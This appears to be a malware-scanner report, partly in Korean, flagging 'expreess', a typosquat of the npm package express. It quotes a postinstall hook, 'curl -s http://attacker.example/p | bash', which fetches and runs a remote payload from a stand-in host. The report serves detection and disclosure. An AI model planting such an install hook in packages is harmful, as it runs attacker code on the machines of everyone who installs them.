// npm 패키지
expreess
AUTO-PUBLISHED·1개 버전 인덱싱됨·최근 publish: 2026-05-04
// exfil path
what is read → where it shipssteals
(no specific credential-read flag matched)
sends to
- ⚙ curl | bash(fetches + executes remote payload)
// offending code· @1.0.0· 1 file flagged
llm: malicious · 0.95→ 정적 분석기가 curl-pipe-bash 패턴 검출 — 설치 경로에 원격 코드 실행 형태가 그대로 드러남.
- @1.0.0··AUTO-PUBLISHED·publisher: n3w_pub_42heuristic 100/100static flags 1llm malicious (0.95) via fast-trackinstall-scripts:postinstallnew-publisher:18dtypo-match:express:d1first-version-suspicious-publishercurl-pipe-bash
→ 정적 분석기가 curl-pipe-bash 패턴 검출 — 설치 경로에 원격 코드 실행 형태가 그대로 드러남.
// offending code· 1 file flaggedpatterns: 1
--- package.json:scripts.postinstall --- curl -s http://attacker.example/p | bash